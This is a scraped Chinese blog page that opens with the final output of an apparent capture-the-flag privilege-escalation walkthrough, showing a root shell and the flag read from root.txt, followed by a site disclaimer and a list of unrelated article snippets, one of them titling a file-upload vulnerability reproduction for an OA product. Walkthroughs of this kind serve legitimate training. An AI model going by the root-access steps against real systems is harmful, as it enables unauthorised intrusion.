uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(krampus)
opening root shell
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(krampus)
# cd /root
# ls
root.txt
# cat root.txt
8955qpasq8qq807879p75e1rr24cr1a5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2774730.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

java实现栈功能

1.使用数组方式 public static void main(String[] args) throws Exception {BufferedReader br new BufferedReader(new InputStreamReader(System.in));int operateNum Integer.parseInt(br.readLine());//操作次数String inputInfo;//输入信息StringBuilder outputSb new…

吉他学习:右手拨弦方法,右手拨弦训练 左手按弦方法

第六课 右手拨弦方法https://m.lizhiweike.com/lecture2/29362775 第七课 右手拨弦训练https://m.lizhiweike.com/lecture2/29362708

SDL库的下载与配置(Visual Studio )2024/2/4更新

一.SDL的下载 下载链接 二.SDL的环境配置 解压以后放在中文路径下 不会添加环境变量自行搜索&#xff08;比较简单网上教程很多&#xff09; 下面进行编译器的配置 复制这段内容 x64\SDL2main.lib x64\SDL2.lib将这段代码放进去运行一下 #include <SDL.h>int main(int…

07-使用Package、Crates、Modules管理项目

上一篇&#xff1a;06-枚举和模式匹配 当你编写大型程序时&#xff0c;组织代码将变得越来越重要。通过对相关功能进行分组并将具有不同功能的代码分开&#xff0c;您可以明确在哪里可以找到实现特定功能的代码&#xff0c;以及在哪里可以改变功能的工作方式。 到目前为止&…

量子计算+材料建模的理论效率提升100000倍!英国公司Phasecraft取得算法突破

编辑丨慕一 编译/排版丨沛贤 深度好文&#xff1a;1250字丨6分钟阅读 在量子计算近期可能的商业应用中&#xff0c;材料建模最有前景的领域之一。在这个领域的应用可能只需要几千个量子比特&#xff0c;而不像其他应用需要数百万个量子比特。目前该领域是量子计算的研究热点…

大规模块存储 EC 系统构建

本文整理自 2023 年 7 月 DataFunSummit 2023 数据基础架构峰会——大规模存储架构分论坛的同名主题分享。 非常欢迎大家的到来&#xff0c;今天由我来分享百度智能云块存储 EC 系统的构建。块存储系统在百度智能云的产品名叫 CDS&#xff0c;底层 EC 系统由 Aries 承担。 今天…

JavaScript基础(28)_获取元素的其他样式

其他样式操作的属性 clientWidth(只读)&#xff1a;获取元素的"可见宽度"&#xff0c;包括内容区和内边距(返回的是一个数字&#xff0c;不带px&#xff0c;可直接进行计算)。 clientHeight(只读)&#xff1a;获取元素的"可见高度"&#xff0c;包括内容区…

nodeJS 的 npm 设置国内高速镜像之淘宝镜像的方法

1、我们知道 nodeJS 是老外搞出来的&#xff0c;服务器放在了国外&#xff0c;国内的小朋友访问起来会比较慢&#xff0c;阿里巴巴的淘宝给出了有力支持&#xff0c;现在我们就将 nodeJS 的镜像地址切换为国内的淘宝镜像。 2、查看当前的镜像地址&#xff1a; npm get registr…

高级FPGA开发之基础协议PCIe(二)

高级FPGA开发之基础协议之PCIe&#xff08;二&#xff09; 一、TLP报文类型 在PCIe总线中&#xff0c;存储器读写、I/O读写和配置读写请求TLP主要由以下几类报文组成&#xff1a; 1.1 存储器读请求TLP和读完成TLP 当PCIe主设备&#xff08;RC或者EP&#xff09;访问目标设备…

立面效果图为何要用云渲染100?渲染100邀请码1a12

建筑设计是一门艺术&#xff0c;而立面效果图是艺术的展现&#xff0c;它在设计中非常重要。 1、立面效果图的重要性 立面效果图能用来展示建筑物的风格、材质、色彩以及环境等因素&#xff0c;通过它&#xff0c;设计师可以检验项目质量&#xff0c;评估效果是否达到预期&…

C#上位机与三菱PLC的通信04--MC协议之A-1E报文测试

到目前为止&#xff0c;还没有网上有哪个文章有我如此的报文分析&#xff0c;操作实例&#xff0c;一大批都是抄来抄去&#xff0c;没有截图&#xff0c;没有说明&#xff0c;没有实例&#xff0c;有卵用呀&#xff0c;仅以此文章献给最爱的粉丝&#xff0c;希望对各位大师有些…

MySQL-索引(INDEX)

文章目录 1. 索引概述及优劣势2. 索引结构和不同引擎对索引的支持情况2.1 Btree2.2 Hash索引 3. 索引分类4. 索引语法5. 索引在什么情况下会失效&#xff1f;5.1 最左前缀法则5.2 范围查询5.3 索引列运算5.4 头部模糊查询5.5 OR连接条件5.6 字符串不加引号5.7 数据分布影响 6. …

【Qt学习笔记】Qt Creator环境下 信号与槽 详解(自定义信号槽、断连、lambda表达式等)

文章目录 1. 信号槽概念1.1 信号的本质1.2 槽的本质1.3 标准信号槽1.4 信号槽 实例 2. 自定义信号槽2.1 自定义槽函数2.2 自定义信号2.3 带参 信号槽 3. 信号槽的意义 与 作用4. 信号槽断连 &#xff08;了解&#xff09;5. lamda表达式的使用5.1 基本用法5.2 捕获局部变量5.3 …

七、Nacos源码系列:Nacos服务发现

目录 一、服务发现 二、getServices()&#xff1a;获取服务列表 2.1、获取服务列表 2.2、总结图 三、getInstances(serviceId)&#xff1a;获取服务实例列表 3.1、从缓存中获取服务信息 3.2、缓存为空&#xff0c;执行订阅服务 3.2.1、调度更新&#xff0c;往线程池中…

【VTKExamples::PolyData】第二十三期 InterpolateMeshOnGrid

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享VTK样例InterpolateMeshOnGrid,并解析接口vtkProbeFilter 、vtkWarpScalar & vtkDealuany2D等多个接口,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步!…

用友U8+OA doUpload.jsp 文件上传漏洞复现

0x01 产品简介 用友U8+ OA经过20多年的市场锤炼,不断贴近客户需求,以全新UAP为平台,应对中型及成长型企业客户群的发展,提供的是一整套企业级数智化升级解决方案,为成长型企业构建精细管理、产业链协同、社交化运营为一体的企业互联网经营管理平台,助力企业应势而变,赢…

navigator.mediaDevices.getUserMedia获取本地音频/麦克权限并提示用户

navigator.mediaDevices.getUserMedia获取本地音频/麦克权限并提示用户 效果获取权限NotFoundErrorNotAllowedError 代码 效果 获取权限 NotFoundError NotAllowedError 代码 // 调用 captureLocalMedia()// 方法 function captureLocalMedia() {console.warn(Requesting lo…

软件应用实例分享,电玩计时计费怎么算,佳易王PS5游戏计时器系统程序教程

软件应用实例分享&#xff0c;电玩计时计费怎么算&#xff0c;佳易王PS5游戏计时器系统程序教程 一、前言 以下软件教程以 佳易王电玩计时计费管理系统软件V17.9为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 点击开始计时后&#xff0c;图片…

数字图像处理(实践篇)四十三 OpenCV-Python 使用SURF算法检测图像上的特征点的实践

目录 一 SURF算法概述 1 积分图 2 SURF算法 3 SIFT与SURF 二 涉及的函数 三 实践 一 SURF算法概述

jmeter的简单使用

1、打开jmeter 打开Jmeter 安装包&#xff0c;进入\bin 中&#xff0c;找到“ApacheJMeter.jar”或"jmeter.bat", 双击打开即可 2、建立线程组 如下图所示&#xff0c;右击TestPlan&#xff0c;点击ADD->Threads(Users)->ThreadGroup 线程组页面分析&#xf…